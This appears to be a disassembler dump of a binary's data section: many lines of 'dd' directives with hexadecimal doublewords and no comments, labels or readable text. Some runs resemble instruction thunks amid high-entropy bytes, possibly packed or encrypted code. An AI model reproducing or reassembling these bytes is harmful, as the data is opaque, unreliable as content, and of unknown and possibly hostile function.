		dd 0EB33DB49h, 0F9EA6EE5h, 2A7CA45Dh, 69508552h, 0C9AFB5BDh
		dd 0DD5E19E9h, 0E4EE1DB5h, 7C82CA76h, 640DEB05h, 20E9ECB9h
		dd 2DEA341Ah, 88204864h, 0D15584DCh, 449461A9h,	0D5E24C7Bh
		dd 6565FC02h, 98EC3886h, 0E8EBB800h, 2F3CA6D5h,	5D6A16A9h
		dd 41964279h, 69FEE39Fh, 9F768BC7h, 48AB1B5Ah, 2F39687Dh
		dd 0CFD51DC1h, 6A22DB58h, 9524B18Eh, 8CEABFDh, 0DCFA07B3h
		dd 43B18DDFh, 0BA4D539Bh, 2870362Bh, 2C0E5400h,	3770570Bh
		dd 75E7515h, 57E088CBh,	0A613C28Fh, 361CA2FAh, 4A705713h
		dd 96D6CB22h, 0F2D5B2B7h, 415DC3h, 13740000h, 0ABB1F9A5h
		dd 57E502E8h, 81BD5D34h, 58694884h, 0D17DA529h,	61DA98Bh
		dd 17A42E58h, 46735E6Bh, 76458D9Ah, 9E033FE1h, 0FE95B5D7h
		dd 0F8D9BB67h, 0C997h, 11B88F00h, 4CFD26Ch, 12452C5Bh
		dd 434BF7C4h, 71C3906Ch, 80AF66F1h, 0AF5B6275h,	0DB8734A2h
		dd 6BB308CEh, 0DA86339Eh, 1D1E4CC3h, 34CC1334h,	2DFF505h
		dd 6D51F2BEh, 23005269h, 505C08B3h, 0F0F63EE2h,	57E60F4Dh
		dd 8561B3DBh, 9926B217h, 0ECECB901h, 989EA4D3h,	5DFBC715h
		dd 2D1319E1h, 0BA5E1DA6h, 0B0D89E1Bh, 8DD5FD81h, 5EA617C0h
		dd 48774691h, 417C5B38h, 93507D63h, 404E3838h, 1CFh, 0E83A8557h
		dd 0A3F5C80Bh, 5DAF0CC6h, 12645580h, 0C91BA235h, 4F882890h
		dd 923F1C6Eh, 0E0F8D527h, 26B08DDFh, 0AF374395h, 0C0FC3A9h
		dd 75DCD758h, 63494F17h, 0F051F1E8h, 0EC14DAE3h, 9825B2BDh
		dd 4E6D6946h, 0A51343FCh, 0E8ABB1F9h, 0B657E502h, 9E6F468Eh
		dd 0D5C847D6h, 0F19D20B3h, 68D20199h, 5FA4022h,	0A8754B58h
		dd 8AE28E2Fh, 5249095Bh, 0F8D9E013h, 0EFEBh, 6E0CE300h
		dd 0D0D68F84h, 0EB1477CEh, 91F97CDh, 0C412F3DAh, 5F5C7A47h
		dd 0F1E7F3D9h, 997F8551h, 0AD51F1E7h, 5BD8BF85h, 155E1C11h
		dd 822EC65Eh, 135B6275h, 0FB2A8F46h, 0C16E4B91h, 0FDD951F2h
		dd 478F6CBEh, 4EBCC874h, 0CB325F2h, 0F2C0A086h,	0F48CB451h
		dd 1203A6ACh, 0AA9157E6h, 97C5DC64h, 72A96A23h,	0C7ABF249h
		dd 9C62A0F7h, 2A529AC3h, 0B6734A92h, 26954173h,	87CB227Ah
		dd 0E6F6251Eh, 0ACF49C0Ah, 0FC9D82A6h, 0A2EA125Dh, 7DEED4DAh
		dd 0DA025E1Eh, 0FFD8A5ABh, 488F6CBEh, 7110F0B6h, 0AA42A266h
		dd 92911ECCh, 0B3C1AB38h, 0A7h,	10625D7Fh, 0CB1DA033h
		dd 85D7E4EEh, 3A8C2DA8h, 0F1437A5Dh, 27B000B8h,	6A674496h
		dd 0B820FD4Fh, 0FED8B507h, 0D75F6BBDh, 0C10EBD1h, 9D04FF58h
		dd 0A6F8C512h, 0EAD101CEh, 0ACB7E63Eh, 863F912Ah, 0AFF7C412h
		dd 9BCAEFE2h, 9B22431h,	0C16DDBB7h, 2D47379h, 224A57EBh
		dd 4E6D6976h, 4B71FFCh,	33D31258h, 359983CFh, 0BC17E415h
		dd 0CEFD5501h, 56A813C3h, 0B25E5D79h, 418930A5h, 138D7379h
		dd 79A183D0h, 0E98BE04Ah, 784393A9h, 2E8D4926h,	117482h
		dd 0DFAC0000h, 7A0A08F2h, 0B6DF16EBh, 0EB1A721Eh, 127DE404h
		dd 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh,	0F2FFAB12h
		dd 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h, 5E08950h
		dd 4, 8704E883h, 895C2404h, 68682434h, 89000069h, 89562414h
		dd 4C681E6h, 83000000h,	348704EEh, 1C895C24h, 6A406824h
		dd 4890000h, 2ABF6824h,	5587B0Fh, 39670F31h, 0F4054048h
		dd 8951A3E1h, 8B5458C2h, 0C483241Ch, 0B9515204h, 61955FF4h
		dd 4244C01h, 8438F59h, 0F4086B81h, 0FF61955Fh, 815B2434h
		dd 4C4h, 2434FF00h, 4C4835Ah, 0FA536AE9h, 0BAA568FFh, 51DB39DDh
		dd 0B6EAFEC2h, 39B886D6h, 3061A2Ah, 77E0FFC5h, 5F70BC8Bh
		dd 3F207261h, 0A35460C9h, 0DA447935h, 3F484998h, 3473A4B8h
		dd 976890A2h, 0EC2992C2h, 0F422D572h, 74501789h, 0AD4BDAE1h
		dd 715A0EB8h, 0F012C451h, 8841221Ch, 6666A281h,	9B6B7FB7h
		dd 1C3B2930h, 0A8609F36h, 4155B6A5h, 3B140B70h,	1C0FE667h
		dd 482C3016h, 0FA72FD45h, 7A00BDEBh, 2524B49Dh,	8D003042h
		dd 1A2C048Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h
		dd 0C3504000h, 6681F0E0h, 9D01C18Bh, 61415F1h, 32298D89h
		dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0DE476FC3h, 9A925069h, 2C0EF281h,	85C71D09h
		dd 614064Dh, 5E24h, 1D440CBAh, 7185C717h, 61426h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 81C6C353h, 3FEFBFCBh, 69B5FF21h, 6A061406h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 315C356h,	0CF39A92Eh, 236195FFh, 95310614h
		dd 6142205h, 95FF006Ah,	6141169h, 1BEBC08Bh, 0E3AC4D54h
		dd 1327BE0Eh, 728CBA6Ah, 0DCACF80Ah, 0D93EA5Dh,	0D217F168h
		dd 0E94C5F0Eh, 7, 7C785225h, 0E9000000h, 529h, 0D82A9547h
		dd 93E5D8FBh, 4D9F1CB6h, 2546570h, 0B90BB225h, 5F783880h
		dd 0A22F0C5Eh, 0F0E8C517h, 36A07DCFh, 9F273385h, 0C13B399h
		dd 65CCC758h, 63494F17h, 7751F1E8h, 0C115204Fh,	0E85E444Ah
		dd 957251F1h, 4EE67E3Dh, 7B4295A2h, 4A6F6633h, 0A82E0B1Bh
		dd 0A9F4CB13h, 553B3A77h, 0D1DE4877h, 0FD0AB605h, 19A632D6h
		dd 0FB5FD581h, 5ED3AA5Fh, 0CD000F9Bh, 706671A0h, 0BC1CF94Bh
		dd 4D4B103h, 3A070FBBh,	1B731F9Ch, 6B207CEh, 5D747FAEh
		dd 0B95BB05Ch, 4A756399h, 666D3A02h, 8BEBD157h,	27FF51F2h
		dd 0F28C3B21h, 8F274F51h, 0FB2A8F42h, 0F3C80EEBh, 8C1E0147h
		dd 869A51F2h, 4D96CFC4h, 5C68FEEDh, 60000000h, 0CE7A4593h
		dd 12604776h, 2B9042C4h, 0BDA1E793h, 4651F1E7h,	5F5E758Fh
		dd 0CA0E1BC7h, 293249F5h, 596BBAF5h, 0D36F53C7h, 206276CEh
		dd 0EDDABAABh, 0D44FEh,	6F3C0000h, 5F849862h, 5B6DC55Dh
		dd 12AD94C3h, 4350FCC1h, 74812D90h, 36AC5861h, 577CB0D2h
		dd 9F371466h, 1211CA1Ch, 444CF8C5h, 0B35F5A77h,	0F2C70E5Bh
		dd 0A21BB8C3h, 622084F6h, 5EB00DCAh, 0D0A9AF86h, 0D9475938h
		dd 84379FAAh, 0F507CBD8h, 95748B7Dh, 357D1584h,	24F7068h
		dd 50BAE9D6h, 56EBA7C9h, 74969B7Fh, 5AB25E5Fh, 1D348F03h
		dd 24F382EEh, 0C38BFEEDh, 0F2BCD7BDh, 94C3EB51h, 742Eh
		dd 0C5124500h, 0EFE3B0F8h, 99C820CCh, 0BB0222Fh, 0C585E95Fh
		dd 0CD15A82Fh, 0E819FF05h, 52D51F1h, 0EEE9C6D6h, 0BF1623CFh
		dd 0F1C74EFAh, 515E901Ah, 80AF7431h, 0FE776C2Eh, 80FEED84h
		dd 689722B3h, 6A02h, 4F171900h,	0F1E86349h, 8486E651h
		dd 0F71C795Bh, 0CFDA0931h, 966DB508h, 0A6ECBB37h, 0AD17460Bh
		dd 5D238A0h, 1CB40CB8h,	3A583C70h, 96E8D502h, 6A4017DDh
		dd 41DFBBAh, 72616C9Bh,	76599F4Bh, 0F251F2CBh, 0B68DBCDEh
		dd 0EE3F33A2h, 9A8086CEh, 0AE51F27Ch, 53BFEE86h, 0FEED5D12h
		dd 0AECh, 4D0DE400h, 297C94B3h,	17563D6Ch, 0E863494Fh
		dd 4F7751F1h, 0FEBD1520h, 2026EEB6h, 51F1E83Ah,	0BAA0264Eh
		dd 0CE51F1E7h, 72585EA6h, 8651F1E8h, 0B8C52F5Eh, 9CF19D1Eh
		dd 2EA458FAh, 0F15F3B8Dh, 0D17D3E98h, 0D199E179h, 0E81D0309h
		dd 0A9AF51F1h, 51F1E7C3h, 0C1E9AFD7h, 3374E92h,	85AD57E5h
		dd 5465703Dh, 28AEBB25h, 92694193h, 0CA9C4E4Fh,	0B0BBEA2Bh
		dd 0A3E99526h, 5805EEBFh, 0E71D3D21h, 0B784CCEFh, 0D6E7EC1Ch
		dd 27FF0F3Eh, 0EF73595Fh, 5F875805h, 0AB12530h,	8185515Eh
		dd 65BD6950h, 4BAF21CDh, 0AA2DFA0Fh, 0C70F6713h, 5EEDBC1h
		dd 98C7EF58h, 2072498Dh, 0D9EA83E2h, 0F77BF8h, 9C730000h
		dd 0AB8AF8A9h, 0F1D80735h, 8E44A513h, 0DC29812Dh, 0E22AC2FBh
		dd 0E50DA5DCh, 87335B57h, 0D5F5C7Ah, 0CD15A630h, 0B7E6D700h
		dd 2596404Dh, 56676C79h, 0B69CA2AAh, 0CA58060Dh, 7E7C55A2h
		dd 0C85CAD87h, 24D0687Eh, 6B4E0CF0h, 0FF3555B9h, 5492E4D7h
		dd 0F8D99D11h, 6657804Dh, 2AD137h, 13E80000h, 0AAB0F8A6h
		dd 0D1F1E7E4h, 9EE490B8h, 0D1F1E7B8h, 0C37A183Ch, 0DCDFF356h
		dd 30F6FC44h, 451F1E8h,	6EAC8ADCh, 3000000h, 34894A17h
		dd 0E18DFB05h, 10D89399h, 370457E5h, 82686EA1h,	965805F0h
		dd 0D22AD66Eh, 3F6E4D85h, 0DAE793BBh, 906DBFFCh, 83C97546h
		dd 5805F0A2h, 0C4781AFEh, 0DF3F912h, 215805F1h,	330F61F9h
		dd 0CBD119C5h, 5DFF3CB0h, 3D4AF61Eh, 21762299h,	0A0DAF4CBh
		dd 0B5A7170Bh, 0DF163486h, 0B885CD71h, 676D9C1Dh, 19BA4661h
		dd 3A8CB464h, 0F9A51381h, 3390ABB1h, 0D6FE57EBh, 2B91D2Ah
		dd 0D2E9EDBAh, 20B693A3h, 13FFE5EBh, 0EB13580Ch, 8161A753h
		dd 99302D78h, 0F7DF1535h, 0CD9A72C4h, 1B010706h, 2FD26E78h
		dd 6BC36F07h, 66A5313Ch, 6E787A60h, 19668ED2h, 1D65FDBCh
		dd 0DD348550h, 255F3782h, 228CBB47h, 0A71431Ah,	8ABCAA10h
		dd 6E5A9E84h, 0F28AB2D2h, 0E71DB8C3h, 351B21ECh, 49D26E5Bh
		dd 0A9F18921h, 5AF5DBE1h, 0E109D26Eh, 9DF348B2h, 0BB708D0h
		dd 103284B3h, 0B11FADCh, 0D26E5B25h, 31791139h,	578F6F64h
		dd 38E38EC6h, 283867FFh, 84308B4Bh, 876h, 0F6E1AE00h, 0E4B198C7h
		dd 0F5CA127Dh, 219A3C49h, 4F706875h, 7E3B96A3h,	0AB12C5D2h
		dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 545633B8h
		dd 4C6815Eh, 83000000h,	348704EEh, 89575C24h, 4C781E7h
		dd 83000000h, 3C8704EFh, 34895C24h, 53896824h, 3C890000h
		dd 5B156824h, 0C890000h, 2C35B924h, 0CE89061Ah,	3C8B5459h
		dd 4C48124h, 68000000h,	7F4Bh, 8F243489h, 34FF0847h, 0C4835F24h
		dd 24348B04h, 81E68956h, 4C6h, 4C68300h, 5C243487h, 0FA4CC6E9h
		dd 0FA0228FFh, 30EBB84Ch, 0C503061Ah, 0F8CDE0FFh, 0DD5D3213h
		dd 21116F15h, 27EB71D5h, 3A2059A5h, 6AF307CAh, 96A435AAh
		dd 69CC186Fh, 425F19E5h, 0CC3A09BCh, 0D6711480h, 8B675AE4h
		dd 7B756C3Bh, 94EC782Ah, 0AFD21B89h, 2A452C1Ch,	8E661B16h
		dd 55FE70D1h, 0D5A60351h, 6308111Bh, 0ECBD7D40h, 53032E42h
		dd 34565F31h, 0A1DA4EB0h, 33B46E9Ah, 6D36BB9h, 1DCF4798h
		dd 0C98F5C11h, 0B4326ECDh, 0ABE94098h, 0F000001h, 2714BB58h
		dd 0D31AD52Ch, 0D746B198h, 0EFB4CAD1h, 0E45B7E41h, 6D5D9752h
		dd 44FCA3FBh, 0A59EB992h, 95BCD792h, 93B9E4h, 0F49DB2CBh
		dd 0FC9CACA3h, 0D2009EB9h, 73AFC945h, 55FC00EEh, 599CBA97h
		dd 0B2A4E56Dh, 47FEACFFh, 0C45657F6h, 0F600CCD4h, 0F78F7DB5h
		dd 97539549h, 45C9BCFAh, 0A1915CCDh, 0ACE56Ch, 100h, 43h dup(0)
		dd 0A26D8497h, 0EE69F033h, 0Bh dup(0)
		dd 0BAE90000h, 6800000Fh, 61A3550h, 0FB132DE9h,	367B68FFh
		dd 23E9061Ah, 68FFFB13h, 61A381Bh, 0FB1319E9h, 38C468FFh
		dd 0FE9061Ah, 68FFFB13h, 61A39C3h, 0FB1305E9h, 3AA268FFh
		dd 0FBE9061Ah, 68FFFB12h, 61A3B53h, 0FB12F1E9h,	3BDD68FFh
		dd 0E7E9061Ah, 68FFFB12h, 61A3CCEh, 0FB12DDE9h,	3D3968FFh
		dd 0D3E9061Ah, 68FFFB12h, 61A3DCDh, 0FB12C9E9h,	3E8C68FFh
		dd 0BFE9061Ah, 68FFFB12h, 61A3F35h, 0FB12B5E9h,	408068FFh
		dd 0ABE9061Ah, 68FFFB12h, 61A41E0h, 0FB12A1E9h,	650DFFFFh
		dd 0E8828094h, 6DFD0317h, 0EF79889Ch, 76FC0A1Eh, 0FE6B90A5h
		dd 85996A08h, 0D21F27Eh, 93A778F8h, 0C92BFC6Ch,	2D54E884h
		dd 79D73047h, 4226D929h, 0AEBA4589h, 0BEF109DDh, 2CF98E22h
		dd 8D2A7C2Ah, 7644846Bh, 0E37F42D3h, 2A2D6B4Fh,	0E5A839CAh
		dd 109C6049h, 5B14A534h, 413C37CFh, 0C1A50B30h,	0A759FDA0h
		dd 23F06Fh, 19F20000h, 6909FD01h, 407915D8h, 45341020h
		dd 0D76FFBB4h, 0AB304113h, 9D402145h, 906FA736h, 0D4h
		dd 3F26D992h, 5D16A7C3h, 0CC85ED19h, 914A7788h,	0D3B76411h
		dd 3ED26E31h, 0C12A2D82h, 59DC9F30h, 2D8229BDh,	0DA13A42Ah
		dd 96D22D71h, 20B450D3h, 9B2A2D82h, 0E18F760Ah,	2DAEE728h
		dd 2C8E87D1h, 6206F92Ah, 0E3827D91h, 50914A1Eh,	0EA0206BFh
		dd 31D226E9h, 0EAA3C53Ch, 1E5F18A9h, 5D672E5h, 883410ACh
		dd 3A5226F7h, 78DA7639h, 8B3A2847h, 23E337FAh, 0B83B7E4Fh
		dd 2F1A881Ch, 0C1CB032Ah, 115C54D6h, 0BE023BCCh, 94DC2748h
		dd 40099ADBh, 0E0BA5B6Dh, 5295E35Eh, 2900000Dh,	0AABE8FE3h
		dd 2D411258h, 0B2C697D3h, 3448194Fh, 0BACFA0D2h, 94DE2805h
		dd 1C54AFC3h, 0A2CE374Bh, 2642BDD1h, 12AEF355h,	30472E7Eh
		dd 0D953A301h, 6074452Dh, 0AAF8C99Fh, 2FD327AAh, 0F9CB5F3Bh
		dd 0BD4E2A2Ch, 0DB94DC29h, 455D619Ah, 0F0A9C141h, 75B1EAFh
		dd 7ABB74FCh, 0C84BCE41h, 2CF9982Ch, 8DE3222Ah,	942059EAh
		dd 3410205Bh, 0F7798A1Eh, 0A96CFD3Eh, 87C0B055h, 63B3AB1Eh
		dd 81D2E21h, 22BA467Fh,	0F6304138h, 0E88BD690h,	0DB6FA75Ah
		dd 0DEh, 3FE6F0E8h, 0B6527C97h,	26D9FF7Dh, 0C2168942h
		dd 34752E44h, 234FB7FBh, 0F9FFF76Ah, 9C368C95h,	0D721ADE6h
		dd 692A2CCFh, 0BB0FD296h, 90E02548h, 0CC0546FFh, 0A0C8374Bh
		dd 0CACBE3E7h, 0ED9A6B07h, 0FE8F3410h, 0E41592Dh, 41CDDE72h
		dd 0D98F7030h, 5114A536h, 0E68C7ACEh, 8A1EBA2Dh, 53041CDh
		dd 1EAAE374h, 3A2889ADh, 6334C8C0h, 96D924B5h, 0AB470A5Dh
		dd 2A2FE717h, 0AD700192h, 7C1EAD59h, 0EB0819BEh, 0BCD0A132h
		dd 1A5F284Ah, 83E0BA30h, 0C27BA08h, 0B8540000h,	2DD5E9BAh
		dd 0A8586C3Dh, 24DDF1C2h, 0A75F7344h, 30E5FACBh, 0EEBFB353h
		dd 764729DAh, 0FCCDA362h, 805117E8h, 0A93DD91Eh, 2430472Fh
		dd 2DD976C6h, 0D42E8245h, 0C8DC5D96h, 9AD82E37h, 0F50CA0E1h
		dd 0E879BA73h, 26D9C917h, 79FC7F42h, 2CFA49DDh,	5733C42Ah
		dd 2A2CF9C3h, 53E78346h, 0D62A2CF9h, 127BB445h,	5B4BA79Fh
		dd 7743C51Eh, 6305FA3Eh, 0A5A6BE92h, 92F946E2h,	0E3743410h
		dd 63069E2Ah, 74DA3041h, 85CC6FF2h, 25796FA7h, 2C5992DEh
		dd 82h,	1192Eh,	1654A13Dh, 48D93410h, 0D6B038Fh, 0D93F3041h
		dd 0B9479B9Dh, 0F4B7F8B1h, 410DC458h, 7DB64730h, 0A72CA043h
		dd 54936Fh, 19950000h, 0E7115901h, 7A497C84h, 2D774ADEh
		dd 0A334C52Ah, 78CC4F12h, 0E728E187h, 2D76770Bh, 2861F22Ah
		dd 92A019B5h, 54E53410h, 0DE720E91h, 0CC304162h, 0D2EA8F27h
		dd 16A74A9Bh, 30E97F82h, 0C14DB6EFh, 3041A529h,	92DF97FDh
		dd 6FA7C7EFh, 7E2h, 0CDCFE400h,	0FF000007h, 3D000119h
		dd 8446F145h, 84200EDAh, 2A2DB0F0h, 1049DA6Bh, 0EB3C019Dh
		dd 29213416h, 441AE95Bh, 450C512Bh, 7E95EE26h, 6AFB4E87h
		dd 32D024A7h, 0E69FCB35h, 1A5B14A5h, 6629DE1h, 8ADE2135h
		dd 0FC0A5ED1h, 0AE4ABD76h, 30473E1Ah, 3A730495h, 5A1D1E36h
		dd 307B8ABEh, 0B174053Ah, 0F5C6A25Dh, 0EBA31EE1h, 8FC8B6A7h
		dd 0E6EAA334h, 6E0ACDCEh, 3410C5C1h, 67521BACh,	3CE6AC54h
		dd 0A8773C1h, 18F40000h, 8D75895Ah, 8F80CDDh, 847D9162h
		dd 7FF13E4h, 50859A6Bh,	8E5F13F3h, 16E7897Ah, 9C6D0302h
		dd 20F17788h, 49DD79BEh, 0C4304732h, 0F9911666h, 0CB2A2C06h
		dd 53EFB2B3h, 3416387Eh, 0C5996AFBh, 4DE9ACADh,	3A306A80h
		dd 45995CEDh, 0C9DDAEBAh, 75793236h, 0FD995C5Dh, 341637D1h
		dd 14682BBCh, 21BD80F2h, 3047298Dh, 0D3467F10h,	1AB6807Fh
		dd 30472986h, 808FD574h, 0A245C3CBh, 0F5AF43DFh, 992A3047h
		dd 92A67708h, 0B642FB6Dh, 0B047F61Ch, 12D5D6EEh, 2B018176h
		dd 0A26BFCBAh, 60B615A9h, 0DE0D5BD6h, 9D000009h, 1E32036Fh
		dd 0A1B586E4h, 263A0B5Fh, 0A8BC8DDBh, 2E43145Eh, 86A9C89h
		dd 90E02337h, 165AABBFh, 9ACE3145h, 862267C9h, 304731F2h
		dd 0AABF0F6Dh, 3A17AC56h, 0A1734DB3h, 1E5F18A9h, 0C8C9E1E5h
		dd 3C946905h, 8993416h,	5A0EF145h, 0DE8A7589h, 8092125h
		dd 6EE0A945h, 0D4653A30h, 2342BD11h, 2EFF90E0h,	0C083E51Ah
		dd 9BD4966Ch, 15162E32h, 38D7CF52h, 78E4DB91h, 0D911D56h
		dd 70341666h, 3DC81CDFh, 15D16501h, 0BB4C3047h,	2A7EF12Ah
		dd 0AEC293D5h, 541751h,	0C8316A00h, 4715A43Ch, 5D5E7630h
		dd 536DFE9Ah, 4CE03A30h, 0BF00B9B7h, 0E8176B2Eh, 2BE4847Dh
		dd 458859EAh, 279226C2h, 7C0D2A2Dh, 6800FF43h, 0A4A4ADA5h
		dd 0CE9126Fh, 4E666AD3h, 21EE8A4Dh, 0C341658h, 0A6BEC27Bh
		dd 675FE2A5h, 667F46ACh, 0DB67A09Dh, 3A2A31AEh,	42814ADBh
		dd 87E0B6C1h, 8DFBE0Ch,	709C0000h, 0E51D3102h, 60A0B485h
		dd 0DC25390Ah, 5FA7BB8Ch, 882D4213h, 36076B9Bh,	0BE8FE122h
		dd 44155BAAh, 0C899CF30h, 0F1852166h, 6C304732h, 26D9BE0Eh
		dd 2345BC10h, 2CF9B347h, 14A5362Ah, 80E8175Bh, 264C8C7h
		dd 388CAA55h, 31C5A1C7h, 172A2CFAh, 0BB1E376Bh,	4DDE81E3h
		dd 3EE1EBBCh, 316993DFh, 7, 48DCF33h, 0AAFF0000h, 47BCA956h
		dd 0E9609829h, 0D8063C83h, 4AE43D76h, 581B1C34h, 1107FBBCh
		dd 0E5BD4E34h, 2DC8D197h, 0D0A0980Dh, 143EA1FAh, 871850B1h
		dd 31324A4Eh, 7FE81A6Eh, 1F58E981h, 2BC710ACh, 78A092Fh
		dd 380FD76Bh, 88C152FDh, 0E7EBA435h, 880BCECFh,	0E39CCE34h
		dd 9ADD69A2h, 0EF071E90h, 0B8479B5Eh, 34CBDFB0h, 7C7E6B34h
		dd 0BC3735A4h, 8006Eh, 0E1917B00h, 6406FC10h, 0E9817F93h
		dd 6BFD0418h, 0F280869Ah, 7AD70C21h, 115E68Ch, 899D6E02h
		dd 0F23F47Ch, 45A778F0h, 33D06400h, 0ED4B3047h,	4226D99Dh
		dd 0DD79FC7Fh, 2A2CFA49h, 0C35733C4h, 462A2CF9h, 0CF137CB5h
		dd 0D96D0937h, 542A2CF9h, 1E6132C3h, 0F96BFF9Bh, 5DEE2A2Ch
		dd 7082024h, 3825A844h,	0B9C3416h, 0E5285048h, 8EAD24D9h
		dd 2E6709FAh, 0D09867BBh, 5414EBFFh, 7E7F979Bh,	0C561FBBh
		dd 4ADB3A31h, 9DCD3387h, 629DF164h, 14EF4306h, 8EA2235Ch
		dd 0FA3EF771h, 498340Ch, 872A2DE1h, 759C65F6h, 5EE0B80Dh
		dd 74F95E3h, 0E02C0000h, 55ADC192h, 0D0304415h,	4CB5C99Ah
		dd 0CF374B1Ch, 18BDD2A3h, 0C697DB2Bh, 4E1F51B2h, 0D4A5CB3Ah
		dd 58293FC0h, 8115B1F6h, 0FC304734h, 0B2AA4E9Eh, 0F68BDFBAh
		dd 0E3E72095h, 8407CACBh, 8E12038Ch, 0B5EE104Eh, 166B6029h
		dd 0B551E534h, 32C304BDh, 84E41B6Fh, 0E41C70B3h, 0F6094D86h
		dd 81B7AF72h, 82D754A3h, 0ABAF1851h, 33CF9293h,	3A2A642Eh
		dd 600FF78Bh, 0D213CCA6h, 0B6478841h, 0B6FED4EDh, 0E836B1E0h
		dd 6C5h, 4B1C56B6h, 0CE9FCB37h,	532446BAh, 0D5A6C23Fh
		dd 5C2D45C1h, 51B59247h, 0C73C5021h, 41C4D8A9h,	0B54A5E2Fh
		dd 3B80E2B3h, 47350B9Fh, 0E0308E30h, 894226D9h,	0F5AEBA45h
		dd 54D492F6h, 0B46D0300h, 9F63A73h, 0E1848E5Fh,	0D4699318h
		dd 10h,	0F886E9E1h, 8A1410C5h, 80CFD351h, 0FF000002h, 894226D9h
		dd 9C696D85h, 39CB7A2Dh, 58E94B93h, 2D8104C7h, 0FF6996D9h
		dd 7B0FAB6Eh, 0FE2A2D7Dh, 0DFA8346Dh, 423416B8h, 205917EEh
		dd 0DA6E0ACDh, 643047B0h, 9A2BCE9Ch, 0DB243809h, 0D61D48Dh
		dd 0FB3F78F8h, 5396670Bh, 0B0A034D0h, 0D82A3047h, 0F598D992h
		dd 0B0AB2C64h, 5FCC6D66h, 90A2226h, 5C0EF246h, 0AC14B023h
		dd 0CF3A3131h, 0D8277B3Eh, 54ABBF90h, 0EF175B14h, 0AEC6CA83h
		dd 794EEAADh, 0F43410E2h, 3F639A63h, 0CD48E6ACh, 5D47Fh
		dd 0D65A700h, 90DA283Ch, 1555ABBFh, 97D13044h, 1E54B2C6h
		dd 0A683384Dh, 2D411260h, 0B5C99AD6h, 3B4F2050h, 71D3A4C4h
		dd 35FC902Ch, 217F3047h, 3F26D9D1h, 611AABC7h, 0CD86E21Dh
		dd 5B0C6ACEh, 0E9F3C4A4h, 69931846h, 1039h, 24CF3B00h
		dd 0A000001h, 914A0412h, 0C1FA7740h, 4226D943h,	0B8EAB479h
		dd 98E661E0h, 569h, 0A778FA12h,	2AFB6F93h, 0AF80EA16h
		dd 3102669Bh, 0B889E91Dh, 0F5117EA3h, 6B98AC7Dh, 0E5203405h
		dd 59A6BA8Bh, 97DC3E0Fh, 473667FBh, 3484E230h, 7F4226D9h
		dd 0F9CC60FCh, 0BE4F2A2Ch, 27D81C85h, 46898841h, 42B40DF2h
		dd 35B21331h, 26BAF384h, 80E81740h, 0ED186CAFh,	6D104A83h
		dd 60699385h, 0Dh, 0A1CF62h, 0CFFF0000h, 9Bh, 119FFh, 34D8A13Dh
		dd 0CC5D3416h, 0F6F70F13h, 4FD69733h, 1AAB3A2Ah, 0B6C2D651h
		dd 0A2F06BE0h, 4D5h, 3B0C66A6h,	0BE8FDB27h, 431456AAh
		dd 0C596D22Fh, 4C1D55B1h, 61A58237h, 0D72C4011h, 51B4C899h
		dd 0C53A4E1Fh, 2B70D2A3h, 4736FB8Fh, 0D0207E30h, 0C3AD56AAh
		dd 8C90C90Ah, 2DB07374h, 0AAB8DB35h, 9DD6CF5Eh,	11317011h
		dd 62A1F534h, 0F182D50Eh, 7B0FAB2Eh, 0FE3041A3h, 6DC1346Dh
		dd 0AA06D793h, 3041A411h, 490C5CA3h, 235C0CF5h,	0F8728EA2h
		dd 45FF13Fh, 19210000h,	0A13D0001h, 341634D8h, 8609CC5Dh
		dd 472C56EAh, 4F19E830h, 1EB25596h, 90D18AE8h, 595DC6FFh
		dd 0FA7D4041h, 70766A02h, 474240D4h, 0F22ABB30h, 1F58B3E4h
		dd 2B07D293h, 5D26B73Ah, 0E0B61ABCh, 16A0EE69h,	65000004h
		dd 0E6FACBA7h, 697D4E1Ch, 0EE02D397h, 70845513h, 0F60BDC96h
		dd 0D0A264C1h, 5818EBFFh, 0DE927387h, 6206F90Dh, 4EEA2F91h
		dd 304737BAh, 0AA87D735h, 0A0F6EDB2h, 0ABE30D69h, 3373A5A0h
		dd 0C8CC05EDh, 1355ACB0h, 0C588195Ah, 0F12A642h, 0FC8D2A2Dh
		dd 96CF9968h, 49C28723h, 36C73416h, 88E01F73h, 0C5CA3B7h
		dd 36374F53h, 88E01F73h, 0C40DC4Fh, 4F3A305Dh, 58A7FBBEh
		dd 0D42B3F10h, 0BFD7DB94h, 1C03FBBEh, 0EEB567A8h, 0D773E61Fh
		dd 3410A62Ah, 4F16EB3Fh, 0BDFEB7B3h, 0FA0F32Ch,	0AC74DF46h
		dd 351CCE6h, 36Dh, 0A374FE0Eh, 26F7738Fh, 0AB7CEE12h, 2DFE6A97h
		dd 0B485ED19h, 0F90D7A9Fh, 6F94A879h, 0E91C3001h, 5DA2B687h
		dd 93D83A0Bh, 473863F7h, 3888E630h, 0BDAB56AAh,	0A9BF4084h
		dd 6E53ACF0h, 53EF53BBh, 2A2D85BFh, 4571A93Ah, 4B0E9F58h
		dd 81982CC8h, 82132A2Dh, 0DCF4C849h, 937C18DBh,	0F63410B2h
		dd 13CC9E62h, 0FC8841D2h, 3041B164h, 6FBF338h, 6377492Bh
		dd 96D0649Dh, 0A7B328CBh, 0B652D56Fh, 30418D22h, 0A6D30C9Dh
		dd 34h,	0AD56AAA8h, 6E868AC3h, 0D50EAA6Dh, 9834101Fh, 87DB4E07h
		dd 9024C07Eh, 0B304113h, 0EF30E97Ah, 13922AB6h,	663041h
		dd 3658FB66h, 0E34B6FA7h, 4D000000h, 894226D9h,	58AEC145h
		dd 8F20611Ah, 0FB6D92D6h, 0C001FE42h, 62D76D06h, 6AFE9AB7h
		dd 0E52A2DE8h, 6132C354h, 2CF4BB05h, 0EA69E2Ah,	3397D7CAh
		dd 0DB2468A1h, 57A8BC8Dh, 3C545811h, 83DC783Bh,	0E63410BDh
		dd 9D33C763h, 25B63041h, 3FF87091h, 0E172C5FEh,	23243C10h
		dd 0AD41DD60h, 3030419Ch, 57F3669Fh, 3A28545Eh,	7AF60FA3h
